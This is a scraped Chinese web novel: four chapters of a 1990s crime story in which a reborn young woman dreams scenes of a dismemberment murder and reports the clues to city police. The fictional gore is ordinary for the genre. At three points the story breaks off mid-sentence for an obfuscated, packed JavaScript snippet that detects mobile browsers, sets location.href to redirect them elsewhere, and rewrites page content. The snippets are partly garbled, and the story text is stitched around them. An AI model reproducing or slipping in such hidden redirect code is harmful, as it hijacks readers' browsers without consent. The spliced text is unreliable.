《梦到案发现场,我成破案专家[九零]》 1. 第 1 章 “滋嗡嗡嗡嗡嗡——” 是电锯运转的声音。 睡得迷迷糊糊的姜蕊被这烦人的声音吵醒,挣扎着睁开睡意朦胧的双眼——差点原地去见了太奶! 哎呀妈呀!啥玩意儿! 入眼的是一双泛着青白的眼睛,一行血泪正从主人的眼角漫出,而那双空洞洞的、蒙着一层灰白的瞳孔正一瞬不瞬地瞪着她…… 姜蕊后知后觉,这竟然是个死人头啊! 她汗毛瞬间竖起,大脑顿时一片空白,仿佛看见了太奶在向她招手。 “草!找死啊!真晦气!” 突然出现的男声吓得姜蕊心头一颤!男人的呼吸声极重,声音粗犷沙哑、暴戾众还带着浓重的血腥气息。 姜蕊不由得打了个冷战,下意识抬头去看,却发现自己怎么也动不了。 “老子办事儿,你自己倒闯进来抢着找死。” 男人的声音再度响起,姜蕊的视线瞬间一黑,几秒钟后光影一闪,又重见光明。 姜蕊只来得及看看清刚刚离开自己实现的鞋底—— 这才后知后觉,自己刚才好像被人踩着头了?她下意识的想摸摸自己的头,却发现自己怎么也动不了…… 随着鞋子的主人的走开,姜蕊的视野也开阔起来,视野里竟然出现了一条青白的——腿?!! 是一条人腿!不是模型,是真的人腿,因为姜蕊眼睁睁看着那条腿被人分解,塞进了绞肉机里…… 姜蕊平静地转开视线,看向绞肉机的摇把——太奶,您来接我了昂? 太奶没搭理她,一脚将她踹回了现实。 姜蕊再度睁眼,望着头顶泛黄的天花板,怔怔出神了半晌,突然起身下床,在小旅馆这个不足五平米的房间里来回走了十几圈,才让自己的心情平复下来。 昨天,本该是警校开学的第一天,她却因为绝症恶化,死在了病床上,她记得自己死前唯一紧攥着的东西,就是警校的录取通知书。她不甘心地闭上双眼的时候,没想到自己死后竟然还能再次睁眼,穿越来到了这个平行世界,成为了跟她同姓同名的女孩姜蕊。 这是平行世界的1995年。 原主本来是姜家无法无天的大小姐,却在与青梅竹马订婚前日得知自己是被人故意掉包来的假千金。亲生父母就是趁她订婚,跑来捅破真相,勒索姜家不成,还被人打了出去。 得知真相的姜家人直接将真女儿换了回来。于是真千金回宫,原主这个假千金被赶出家门,青梅竹马的对象告吹,订婚也取消了。 原主的亲生父母没有勒索到钱,便把注意打到了原主身上。 回到农村的原主,被亲爹亲妈设计嫁给老光棍换钱,原主在与老光棍结婚前夕,抱着自己的包袱跑了出来,回到城里死皮赖脸要回到姜家,却被姜家的人赶了出来,去找未婚夫,又被人家当众奚落了一番。 无处可去的原主心灰意冷,胡乱找了间旅馆住下。谁知,刚进旅馆房间门,就不知道被什么东西绊了一下,头磕在铁架床的床角…… 这就是原主辉煌灿烂又平平无奇的一生。 紧接着,姜蕊就过来了。 这是姜蕊接收完原主的记忆,睡的第一个囫囵觉,没想到竟然做了这么一个乱七八糟又血腥的噩梦,要不是太奶踹的那一脚,她魂儿都要被吓飞回去了。 窗外天色刚蒙蒙亮,姜蕊从床下拿出脸盆,出门去旅馆的公共卫生间洗漱。 姜家不要她,前未婚夫更是看不上现在的她,至于农村那个家,是铁定不能回去的。为今之计,只有先找个临时工作,解决温饱问题,等有了钱了以后就可以上学,继续考警校了! 姜蕊拿着身上仅剩的十八块七毛钱出门了。 要说还是九十年代的物价便宜,三十多年后二十块钱一个的驴肉火烧,在三十年前的今天也才不到一块钱。 姜蕊在驴肉火烧的摊位前,盯着那夹满驴肉滋滋冒油的脆皮火烧看了半天,最后毫无波澜的转开视线,看向一旁的小笼包摊子。 一块钱一个的驴肉火烧虽然诱人,但她却吃不起,毕竟她全身上下加起来只有十八块七,旅店住一晚就要五块钱,她不吃不喝最多多还能住三晚。三天内找不到工作和住的地方,她就要睡大街喝西北风了。 小笼包似乎很受欢迎,摊子前排着的队伍足足有十来米。 姜蕊看到那招牌上写着—— 肉:八毛\屉…… 素:五毛\屉 不行,贵,吃不起。 姜蕊又转战旁边的炸果子摊子,买了两毛钱的炸果子。 姜蕊吃完直奔这里最大的商场,看看有没有销售类的工作可以找,或者餐馆的服务员。 原主被姜家父母惯坏,又是个学渣,勉勉强强读完高中,混了个高中毕业证,连高考都没参加。以前姜家父母对她说“你就是变成废物,爸妈也养得起你”。得,现在长大真成废物了,他们又不养了。 可是姜蕊转了大半天,只有一家档口在招人,管事儿的简单跟她聊了几句,就让她留下联系方式,回家等消息。现在手机还不普及,连座机都很少,她住的那个旅馆只有一台老座机,姜蕊留了旅馆的地址和电话,便出来了,她准备明天再过来问问。 姜蕊一边想着再去外边的餐馆看看,一边往外走,刚走出商场大门,就不小心和两个人撞了个满怀。 “抱歉,是我没看路。”姜蕊还没站稳,道歉先出口。 “呵,姜蕊,你还真是阴魂不散啊,追我都追到这里来了。” 听到有人喊自己的名字,姜蕊才看向来人:“你谁啊?” 男人一噎,脸色瞬间憋成了猪肝色:“姜蕊,你别太过分,我们的婚约已经取消了,你缠着我也没用。” 听到他说婚约,姜蕊这才从原主的记忆中扒拉出来这个人,眼前这人不就是原主那个青梅竹马的前未婚夫陆渊重吗?跟他一起的那个女生就是姜家刚刚寻回来的真正的女儿姜爱莲。 真是冤家路窄啊。姜蕊嘀咕看了一句。不过没想到这两人这么快就走到一起了,看来这个青梅竹马的前未婚夫只跟姜家的钱青梅竹马,至于姜姜的女儿是谁,都不重要。呵,真是有够势利眼的。 陆渊重,陆冤种? 姜蕊都有些无语了,这陆家的父母还挺会给孩子起名字的。 “真是晦气。”姜蕊白了陆冤种一眼,嫌弃的上下打量了他一番,“你没事儿吧?这商场又不是你家开的,只有你能来?” 说完,也不管对方什么反应,转身就要走,却听到身后一个娇滴滴的女声说:“真是乡下的贱种,一点教养也没有。” 姜蕊闻言停下脚步,丝毫不惯着他们:“第一,我刚刚第一时间已经道过歉了,没教养的是你们。第二,什么叫乡下的贱种,穿身上穿的嘴里吃的,哪一样离得了乡下人的劳动?嫌弃你别吃啊!第三,这么看不起乡下人,怕是你在乡下生活了十几年的自卑心在作祟吧?那你骂贱种不就是在骂你自己。” 姜蕊拍拍手:“你们一个嫌贫爱富的冤种一个口无遮拦的贱种,简直绝配。” 姜爱莲在乡下生活了小二十年,被那对嗜钱如命重男轻女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜蕊烦躁的想将枕头盖在头上,发现自己又动不了了。 她默默睁开眼睛,发现自己这次是个俯视的视角,她似乎变成了一片天花板上,向下看去,底下的一切尽收眼底。 这里应该是一间厨房,厨房的面积很小,采光也不是很好,十分阴暗。 墙上和墙角的排风扇上都蒙着一层黑色的油垢;一边的墙上挂着辣椒和一些厨房用品,上面都溅满了已经干涸的深色不明液体;地上时一层层黑色的脚印,似乎都将地砖踩出了包浆;另一边砖砌的料理台上横七竖八的堆叠着好多脏兮兮的碗筷,似乎还有什么东西在上面蠕动;旁边的案板上,围着一层层肥硕的绿头苍蝇! 这是什么人家啊?厨房竟然能埋汰成这样! “草!真特么疼。” 一声咒骂声吸引了姜蕊的视线,她看到一个头顶锃亮的男人正站在灶台前,连着煤气罐的台式铸铁灶上有一口大锅,炖锅里正在煮着一个黑乎乎的东西。 随着“咕嘟咕嘟”声,一滴汤汁溅了出来,又落在男人脸上,男人又骂了一句:“草!” 接着,他拿着大铁勺在锅里使劲拍了几下:“让你死了都不安生,晦气玩意儿!” 锅里看不出颜色的汤汁翻涌,里边炖着的东西随着他的拍打,也跟着翻滚过来。 姜蕊看清的那一刻,彻骨的寒意从脊椎爬到了头顶,她惊恐地瞪大双眼——那锅里炖着的,竟是一颗人头! 2. 第 2 章 姜蕊倒吸了一口凉气,猛地坐起身来,全身止不住的颤抖。 直到看清自己还身处在旅馆,她才渐渐平复下来,告诉自己,没事的,只是又做了一个噩梦而已。 窗外的天已经泛起鱼肚白,又是新的一天开始了。姜 蕊决定今天再去商场看看,如果不行,再想办法找别的工作。总之今天一天要找到工作,还要找到住的地方,她敢打赌,等她交不起住宿费,一定会被老板娘赶出去的。 姜蕊到商场门口的时候,看到商场大门紧闭,还不到商场开门营业的时间。可是在商场门口却里三层外三层围了一圈人,全都交头接耳的,表情似是十分惊恐。 这年头也流行大爷大妈大早上去超市抢特价商品码?不应该啊,她昨天来的时候,看到商场一楼被围了起来,门口的告示写着商超要明年才正式开业。 姜蕊还未走近,就闻见一阵若有若无的臭味儿。她还没咂摸出这是什么臭味,就看到一个脸色煞白的大姐从人群里挤了出来。姜蕊一眼就认出来那是昨天面试她的周大姐,她两步迎上去刚要开口询问,对方就一把推开她跑到树根儿底下吐了起来。 姜蕊:“……” 原主这张脸不说倾国倾城,也不至于让人看见就想吐吧? 周大姐吐得差不多了,拿出印花的紫色手绢擦了擦嘴,才转身对姜蕊抱歉道:“妹子,实在对不住,我没忍住,没吐到你身上吧。” “……” 姜蕊深吸一口气,看周大姐那面相也不像会刻薄的人,一定不是针对她。 “没有,不过你没事吧?要不要送你去诊所?或者送你回家休息?” 周大姐又干呕了两声,摆摆手道:“我没事,就是第一次看到……没忍住。” 见周大姐欲言又止,姜蕊更加好奇:“姐,你说看到什么?这一圈人围着干嘛呢?” 姜蕊的一声“姐”,叫得周大姐母爱泛滥,赶紧嘱咐姜蕊:“你小姑娘家家的千万别过去,太吓人了。” 她拉着姜蕊走远了一些,小声道:“今天早上清运工清理商场门口的垃圾桶的时候,发现一个黑色塑料袋,打开一看,里边竟然是有些发臭的肉馅儿!” 听到这里,姜蕊隐隐有些不好的预感,但又抓不住头绪。 这边周大姐还在继续:“你说谁家好人这么不会过日子,把肉馅儿往垃圾桶里扔啊!这在外边放了一宿,肉都臭了不能吃了,环卫工本想倒到自己桶里拉回家喂狗,你猜怎么着,那一大坨肉馅儿里,竟然裹着半只手,是人的!我刚才看见了,那半个手掌剩下的两个手指的指甲上还涂着红色的指甲油,肯定是人的手,也就是说那袋肉馅儿是人肉馅儿!你说吓人不吓人?” 听到这里,姜蕊不由得想起自己连续两晚做的那个噩梦,地上的绞肉机,煮锅里的人头,还有男人的咒骂声,都清晰的印在她脑子里,就好像那不是梦,而是真实发生的事情一样。 姜蕊的后背瞬间爬满一层冷汗,莫非她的噩梦不是梦,而是真实场景的映照。 “妹子,妹子?”周大姐扒拉了一下姜蕊,“你发什么呆呢?你想进去看啊?我劝你别去,我就看了一眼,恐怕这一个月都吃不下饭了。也不知道谁这么丧心病狂,一会儿公安同志就来了,一定要将那个凶手抓起来,否则我都不敢来商场上班了。” 说到上班,姜蕊想起自了己此行的目的:“姐,您不是说让我回去等消息吗?我今天来就是想问问,我通过面试了吗?能来咱们商场当销售员不?” 说道这,周大姐脸上露出了些许为难的表情。 姜蕊一看这架势,就知道自己没戏了。她就知道不可能这么容易,本来也没报太大希望。在这个年代,销售员可是个体面工作,这种国营大商场的销售员更不必说,估计有位置也被人内部消化了。 “没事,姐你直说就行,不必为难。” 果然,就听周大姐道:“本来针织部那边需要一个销售员,可昨天你走后,我去问领导,领导说那空缺已经被人顶上了。” 姜蕊了然:“那个人是某个领导的亲戚吧?” 周大姐叹了口气,点点头低声道:“妹子你可别往外说,我要背处分的。” 姜蕊点头表示理解。对方见姜蕊没说什么,便借口急着上班,匆匆向商场后门走了。 姜蕊看着周大姐离开的背影,默默叹了口气,看来只能另想办法了,不行就进厂打工吧,虽然累点,胜在包吃包住。工作个几年,就能攒够上学的钱了。 姜蕊回身看向人群,不期然撞上一双阴森的眼睛。姜蕊浑身一寒,不由得打了个冷战,一眨眼,那双眼睛便迅速隐没进人群里,不见踪影了。 姜蕊几乎以为自己出现了幻觉,转身刚想走,就觉得身后有什么东西在盯着她,那感觉就好像她是别人口中的猎物一样,让人十分不舒服。可当她转回来,那种感觉又消失了,不远处都是一群这个年代特有的质朴的脸和一个个黑乎乎的后脑勺…… “行了,没什么好看的,别围着了。”一个穿着橄榄绿警服、头戴大檐帽,看起来有些年纪的公安挤进人群,“你们几个小伙子干嘛呢?麻利点,先将人群疏散,拉警戒线,闲杂人等不得靠近。” 不远处的几个小年轻还有些踌躇,不敢上前,把人群里边的公安大叔都给气笑了:“瞧你们那点出息!你们可是人民公安,为人民服务的,群众们都看着呢!再说不就是碎尸吗?我半截身子入土的老头子都不怕,你们小年轻有什么好怕的?” “王所说得对,为人民服务,咱们年轻的同志应该冲在前边。” 本来还有些犹豫的年轻公安,闻言像是下定了什么决定,迈着大步子快步上前。 “不过王所,您才五十,正当壮年,怎么就成老头子了?以后不许这么说自己啊。” 王所闻言哼哼一声:“就你会说,还不是让你们这群小子气的。尤其是你,王小二。” 说完,他转头招呼了一圈:“大家干活儿麻利点,市局的同志马上就到。” 被点名的王小二摸摸鼻子,同其他的年轻公安一起,全部默契地闭了嘴,他们迅速将人群驱散,还在垃圾桶周围拉上了警戒线。至于那黑色塑料袋和旁边泔水桶里的东西,他们是一眼都不敢看。 “大家配合一下,都别看了,回去吧。这是重大刑事案件,一会儿市局刑警队的同志就过来了,咱别妨碍人家办案。” 王二此话一出,人群也只是向后退了一些,群众都退到了警戒线之外,却还是远远围观着。 姜蕊就在其中。 没一会儿,商场门前就开进来两辆车黄底黑字后边挂着红色“警”字的警用车,前边是一辆吉普,后边是一辆很大的金杯。 吉普刚停稳,驾驶室的门就被人打开了,先露出来的是一只穿着制式皮鞋的脚,紧接着是一条长的过分的大长腿…… 陆闻渊从警用吉普上下来,先看到了不远处围观的群众。 “王所,你们南城区的群众胆子都够大的,杀人碎尸也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406815|200556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢围观。” 这语气,一听就是在说他们派出所工作不到位,引来这么多群众围观。 “嗐!你不知道!”王所从口袋里掏出一个红四喜,抽出一根替给陆闻渊,陆闻渊接过烟,却没抽,只别在而后,示意王所继续说。 王所见陆闻渊不抽烟,将自己的塑料打火机收回去,才无奈道:“这也没办法!早上那个清运工发现尸块的时候,吼得比雷声还大,全南城区的人都听见了。而且南城区以前从来没发生过这么恶劣的案件,这还是第一起,群众们又害怕又好奇,这才都围了过来。” 陆闻渊四下望了一圈:“清运工人呢?” “唉,那清运工人都吓傻了,一句话都说不利索,我让人先带他回所里了。” 王所正说着话,不远处那辆金杯的门就被人打开了,一个戴着金属边眼镜、拎着勘察箱的便衣男人从车上走下来,直奔垃圾桶旁。 王所望着那人背影,感叹了一句:“你们市局刑警队不给人吃饭吗?瞧把人法医饿的。” 陆闻渊没有理会王所的调侃,径直走了过去。 “老宋,怎么样?” 市局刑警队法医宋辞伸出自己“骨瘦如柴”的手指,指着从泔水桶里捞出来的半只手,面无表情地道:“确定是人体组织,另外……” 宋法医突然打开手边的黑色塑料袋,展示给刑警陆队长看:“……” 陆闻渊眉头紧皱,神情严肃:“这是……脚趾?” 宋法医打了个响指:“恭喜你答对了!不过不确定是不是同一个人的,得回去做测定,个人表型对上了,才能确定是同一个人。” 跟着陆闻渊过来的王所听完宋法医的话,不可置信道:“这么多碎肉,都要做你说的哪个测定吗?那得做到什么时候。” 宋辞深吸一口气,又缓缓吐出,微笑道:“一般遇到像碎肉这种情况,我们做测定的时候都是抽检。” 他整理好手边的证物,又对陆闻渊道:“陆队,你多派几个人,将这个泔水桶、还有那边的垃圾桶,以及周围的垃圾,都带回队里。” 说完,也不等别人反应,转身就一手一个拎着勘察箱和黑色塑料袋,上了来时的金杯,不下来了。 陆闻渊有些无语,但还是得帮宋辞打了圆场:“我们市局的宋法医是名牌大学高材生,就是学习学傻了,不懂人情世故,王所你多担待点。” 还有十多年就退休的王所讪讪地摸了摸鼻子:“啊?啊!没事,没事。” 市局的人行动迅速,没一会儿就将垃圾桶和周围有关的证物都抬上了那辆金杯,紧接着大长腿队长陆闻渊也跨上吉普,两辆车乌拉乌拉扬长而去。 环卫处的人反应也快,不过半小时,就将一个新的垃圾桶摆在了原来的位置。 商场准时开门。门口行人如织,又恢复了往日的繁华,一点命案的痕迹也没有。 姜蕊站在商场门口,恶寒悄悄从后背窜起,那种被人盯上的感觉又来了,她猛地回过头,身后都是来来往往的人群,还有不远处聚集在一起讨论垃圾桶碎尸案的群众,似乎谁都没有注意到她…… 直到天黑躺在床上,姜蕊还有点浑浑噩噩,就连什么时候给了老板娘五块钱的住宿费她都不记得。 商场门口的碎尸案到底和他的梦境有什么关系……? “咚——咚——咚——” 迷迷糊糊中,姜蕊听到有什么东西锤墙的声音。 她默默地睁开眼,便知道,噩梦又来了。 3. 第 3 章 这次姜蕊好像被卡在一个什么东西的缝隙里,视线忽明忽暗,有昏黄的灯光顺着缝隙慢慢照进来,划过头顶,没过几秒就渐渐消失了,如此往复。 周围很安静,除了莫名的“哗拉拉”声,连只鸟叫声都没有。 姜蕊感觉自己一晃一晃的,好像开着走在石子路上的感觉, “!!!” 莫非她在车上,头上划过的光是路灯,哗拉拉的声音大概是自行车铁链转动时发出的声音。 那砸墙的声音是? “咚、咚、咚——” 视线晃得更厉害,莫名的咚咚声也更清晰。 姜蕊还是不能动,但是她的余光瞥见,在离他不远的位置,一个黑乎乎、圆滚滚的东西,正在随着晃动一下一下砸在旁边“墙”上,期间还伴随着塑料袋被扯动的声音。 姜蕊这才看清,她这次身处在一个箱子的,这个箱子里似乎装了很多东西,她就被卡在这些东西和箱壁的缝隙里。 突然,外面床来“咯噔”一声,车子剧烈的晃动了一下,同时传来男人的咒骂声:“草!你特么一个刺猬,大半夜出来找死啊!” 果然又是那个男人。 “想死是吧?老子成全你!” 姜蕊感觉自己在原地转了好几圈,男人在用车轮压刺猬! “今天你死在这儿,保证半年之内都不会有人看见来给你收尸。” 紧接着,姜蕊眼前一闪,箱子的盖子被人打开,一只肥大的手伸了进来,将刚才一直滚来滚去的黑乎乎的东西拎了出去。 那东西只在眼前闪了一瞬,姜蕊还是看清了,那正是她前一日梦境里看见的被烹煮的人头! 男人不知在外边捣鼓什么,不一会便听见“咕咚、咕咚”两声,是什么东西被扔进水里的声音。 那只肥大的手又伸了进来,随意翻了翻塑料袋,骂了句:“草!死了还给老子找麻烦,浪费老子一个秤砣。” 塑料袋哗啦啦响了一阵,有东西慢慢从里边滑了出来,落在姜蕊面前—— 那竟一只人手! 这次没有太奶你踹,她自己回来了。 姜蕊猛地从床上坐了起来! 她可以肯定,自己的梦境一定跟白天的碎尸案有关!因为,她最后看到,滑出来的那只手的手指上,也涂着红色的指甲油! 姜蕊几乎是立即穿上了鞋,连脸都没洗,就向着旅馆门口走去。 从房间到旅馆门口的这段距离,姜蕊已经将自己梦境中得到的信息全部整理了一遍。 深灰色有些生锈的家用手摇绞肉机,布满油污的厨房,都可以说明第一案发现场就在凶手或者死者的家里。 凶手是一个秃头男性,微胖,性格暴躁、残忍,可能有虐杀动物的前科。 还有她刚才的梦境里,凶手将死者的头颅烹煮后抛在一个有路灯但人迹罕至的路边水坑或者池塘里,且头颅上很有可能绑着秤砣,沉在水底。 姜蕊走到门口,正与抱着报纸,刚进门的老板娘撞了个正着。 报纸撒了一地,老板娘不乐意了:“要死啊!毛毛躁躁的干什么去呀!” 姜蕊连声道歉,忙蹲在地上,想将报纸一张一张捡起来。 视线定格,视野里正是一章寻尸启示,内容是商场门口发现碎尸,经法医鉴定,确认全部为人体组织。现向南城区群众征集线索,发现可疑情况,应立即向就近派出所报告。 姜蕊迅速将其他报纸收集好,手里只攥着刊登着认尸启事的那张报纸。 “老板娘,我—” 他话还没说完,余光便瞥见门口有人走了进来。 姜蕊和老板娘一同转头望去。来人面上看上去也不过四十岁,但是他佝偻着个背,头发似乎也很长时间没有打理了,油乎乎的,再加上一副畏畏缩缩的样子,让他形态上看上去像六七十岁。 老板娘一把抢过那沓报纸,转身去招呼来人:“老李?你来我这干嘛?” 老李耷拉着眼皮,时不时瞥向姜蕊。 那种感觉让姜蕊十分不舒服,她不欲多留,转身就往外走。 老李揪了揪自己的衣角,声音小得像蚊子声,吞吞吐吐的问老板娘:“你,你有没有看见我家翠芬,昨天晚上我们吵了一架,她跑出来就一直没回去,我不知道去哪里找她……” 姜蕊急着去派出所报案,并没有闲心听那个老李和自己老婆吵架,还把老婆气跑的八卦。 南城区派出所的王所长一听她有碎尸案的线索,立马叫上王小二,开着所里唯一的机动车——一辆长江牌的三轮侉子,亲自将她送到了市局刑警队。 “就是你有碎尸案的线索?”会客室里,陆闻渊审视着姜蕊,似乎带着殿拒人于千里之外的意味,“我劝你说的是真的,否则按照《治安管理处罚条例》第十九条第六项之规定,谎报警情、制造混乱的,要处15拘留和罚款。” 姜蕊:“……” 这是对她有敌意? 姜蕊绞尽脑汁,也不记得原主得罪过这号人物,正有些莫名其妙,就听对方又问:“说说你有什么线索?或者你是死者是你亲戚?” 姜蕊赶紧摇摇头:“不是不是,不是我亲戚。” 她将自己从梦境中理出的线索告知陆闻渊:“你们在商场门口发现的那袋儿碎肉是用家用手摇式绞肉机一点点绞碎的。如果我没猜错,那些肉不光是手和胳膊,很有可能还有腿和脚的碎肉。” 直到此时,陆闻渊才不得不正色起来。 肉馅里有脚趾的事情,当时只有他、法医宋辞、还有王所看见了,其他人是不知道的。就连第一个发现碎尸的清运工也只知道碎肉里有半个手掌,没看见更里边的脚趾。 陆闻渊看了旁边的王所一眼:“你告诉她的?” 王所赶紧摇摇头:“不是不是,我可一个字儿都没透露啊。” 姜蕊十分严肃地道:“不是王所告诉我的,是我自己看见的。” “你看见的?你在哪看见的?”王所也很诧异,他肯定那个宋法医翻出那个脚趾的时候,周围只有他和陆队。 王所看看陆队,又看看姜蕊。 “……” 姜蕊不在乎被人看,语出惊人:“我看见凶手碎尸的过程了。” 姜蕊一句话,成功把自己送进了审讯室。 王所已经离开,审讯室里除了姜蕊,还有陆闻渊和另一个女警。 “你说,你看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406816|200556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了凶手碎尸的过程,当时你在哪里?” 姜蕊看看陆闻渊,又看看旁边的女警,最后开口提出自己的条件:“我可以告诉你,但是你们必须帮我保密,且不能将我当成精神病人送进精神病院。” “……” 旁边的女警大概没见过这么不按套路出牌的嫌疑人,表情有些震惊,她偷偷看了自家队长一眼,低头继续记录。 陆闻渊冷笑一声,言简意赅:“你还怕进精神病院?放心,不送你去精神病院,报假警直接拘留。” “好吧,我告诉你们。”姜蕊正色道:“我连续三晚,做了三次噩梦。第一次是梦到自己躺在地上,面前是一颗流着血泪的人头。还亲眼看着凶手将一条人的发青的大腿绞成了肉泥。第二次是梦到自己被黏在天花板上,看到一个秃头的男人正在烹煮一颗人头。第三次,也就是今天早上,我梦见凶手骑着自行车,正沿着一条亮着路灯又没有人的路抛尸,期间他压死了一直刺猬,我最后梦到的事凶手将死者的头颅绑在一颗秤砣上,扔进了路边的水沟里……” 女警一边在本子上记录着,一边偷偷瞄了一眼路队长。 这姑娘真该送精神病院吧?还说什么做梦梦到的,这作案手法也太残忍了,她都觉得是这姑娘幻想出来的。 最后女警得出结论:这姑娘可能真是精神病院跑出来的。 “对了,凶手压死刺猬的时候,还说了一句‘今天你死在这儿,保证半年之内都不会有人看见来给你收尸’!” 姜蕊一口气说完,见对面两个人四双眼睛都在直勾勾的盯着她。 她赶紧将双手护在胸前:“你们要干嘛?说好的不送我去精神病院的。我真不是精神病,案情线索也真的是我梦到的。” 说完,她还犹觉不够,两只水汪汪的大眼睛恳求的盯着陆闻渊:“陆队,我说的是不是真的,你叫人查一查就知道了。” 陆闻渊盯着姜蕊的黑眼珠看了一会儿,直看得她心底发毛,这才大发慈悲地收回自己的视线。 “委屈你先在这里休息一下了,我们会派人去查。” 临走前,还嘱咐女警:“别望了中午给她也打份饭。” 姜蕊坐在审讯室里,哭笑不得:“我谢谢你啊,让我在审讯室休息,还不忘让人给我打饭。” 陆闻渊回到刑警队办公室,将一张地图展开在桌子上,一群因为恶劣案件一宿没回家睡觉的乌眼青迅速围拢了过来。 “有群众报案,说看到过凶手抛尸。” 只一句话,足以让加了一夜班、大脑正昏昏沉沉的刑警队队员们瞬间清醒,个个精神抖擞地听自家队长分析案情。 “凶手将死者的头颅抛进了路边的水沟里。”陆闻渊回忆着姜蕊说过的话,“那地方有路灯,晚上没人,路边有水沟、河流或者池塘之类的。” 陆闻渊看着自己圈出来的地方沉思了一会儿,说:“凶手说刺猬死了,半年也不会有人去给他收尸,要么这条路还没开通,要么凶手清楚市政部门没有在那条路上安排清运工。” 陆闻渊笔尖落在纸上,点出了三个地点:“一二三组组长,带人先去这三个地方查一下,向潜水队借人,重点排查路边的水沟、河流和池塘。” 4. 第 4 章 陆闻渊正说着,法医室主任宋辞就顶着一张惨白的脸,眼下还带着乌青,手上拿着一沓检验报告走了进来。 “报告出来了。针对昨天带回来的检材,我们做了血型、血清型还有酶型检验,多个点位都对的上,基本上可以确定,那些人体组织属于同一个人。检材中遗留的死者手指指骨基底纤细、平滑,确认死者为女性。死者骨缘变钝,关节面边缘初见磨损,判断死者年龄超过三十岁。我们提取了死者遗留的两根手指的指纹,已经送到省厅指纹库去做对比。,但是我感觉凭指纹找到尸源的可能性不大,你们别抱太大希望。” 宋辞言简意赅说完,就见刑警队队员齐刷刷全部松了一口气。 他知道大家都在庆幸一件事,还好不是连环杀人碎尸案。 刑警队的队员们在陆队长的带领下,将各分局和派出所的失踪报案档案全部搬回了市局,奋战了一天一夜,刚刚将失踪人员的性别、年龄和失踪时间,全部整理完毕。现在只要按照法医室提供的报告中的条件,筛选出符合条件的失踪人员,他们的工作就能减少一大半。 “老宋,你就是队里及时雨。”陆闻渊对待同事从不吝啬夸奖,“竟然能从做这么琐碎的检材中判断出这么多信息,真是帮了我们一大个忙!” 说完,他继续队其他队员道:“一二三组按着我刚才的安排继续行动,该找潜水队找潜水队,四组和五组的同志按照宋主任的报告,继续筛查失踪人员,逐一走访,别忘了死者死前涂了红色指甲油这一项。” 陆闻渊站在刑警队大办公室的中间,拍了拍手,吸引了所有人的目光:“杀人碎尸案是极其恶性的案件,又发生在闹市区,市局乃至省厅都非常重视。我们在办案过程中绝对不能放过一丝线索,宁错不漏,查错了我们可以从头再来,差漏了凶手不一定会再给我们机会。死者被人扔在不知名的角落,正等着我们让她重见光明。同志们都打起精神来,等案子破了,我请全队吃驴肉火烧!行了,去吧!” 陆闻渊话音一落,所有人都精神为之一振,个个像打了鸡血一样,招呼都没打就飞奔出去干活了。 陆闻渊回办公室抓起车钥匙和桌上的摩托罗拉二哥大就往外走,在门口正好碰到了宋辞回法医室。 陆闻渊顿下脚步,推着宋辞就往外走:“老宋,走走走,跟我出现场。” 宋辞先从陆闻渊的魔爪中逃了出来,掸了掸被陆闻渊碰过的地方,也不问什么现场,张口就应了下来:“等一下,我去拿箱子。” 陆闻渊:“行行行,你快点的啊,把你们组新来那小孩儿也叫上,不能老跟宝贝似的养在你们法医室当家雀儿,也得出去见见世面不是?” 宋辞面无表情的看着陆队离去的背影,“嘁”了一声,转身的时候,正好新来的实习法医崔宝宝拎着勘查箱出来。 宋辞面上终于放松了下来,还没开口,就听对方道:“师父,我看你跟陆队一起出来,是不是要出现场啊?箱子我给您带来了。” 市局刑警队第一高材生宋法医的嘴角肉眼可见地垮了下来:“叫谁师父呢?我还没那么老吧?而且崔教授是我老师的同事,这么叫差辈儿了。” 崔教授就是崔宝宝的父亲。 听到宋辞这样说,崔宝宝也觉得自己唐突了,她不好意思地揉了揉脑袋后面的短发,嘿嘿一笑:“我也这么觉得。可我爸说你能耐可大了,让我多跟你学习,那我以后叫你师哥吧。” 说完,崔宝宝脆生生地叫了一声:“师哥!” 宋辞心中受用,面上不显,倒是耳朵红了一片。 他抬手去接崔宝宝手里的勘查箱,一下子没接过来。 “嗯?” “师哥,我能跟你们出现场不?” 陆闻渊开着吉普停在刑警队大楼门口,他一边拿出“滴滴”响个不停的二哥大扫了一眼,果断盖上盖子挂断后扔到旁边的扶手箱里,一边招呼宋辞:“老宋,怎么那么墨迹,快上车,队里的人都到现场了。” 宋辞一把夺过崔宝宝手里的勘查箱,说了一句“上车”,转身就快步往外走。 崔宝宝不敢耽搁,跟着宋辞的脚步的飞奔上了陆队的警用吉普。 陆闻渊一脚油门,车子使出了市局大门。 宋辞同崔宝宝一起坐在后排,正襟危坐,陆闻渊从后视镜里看到,轻笑了一声,没说话。 宋辞被陆闻渊那一眼看得有些羞窘,少有地率先打破沉默:“你们查到什么了?我们现在要去哪里的现场?” 说起案情,陆闻渊正色了不少。 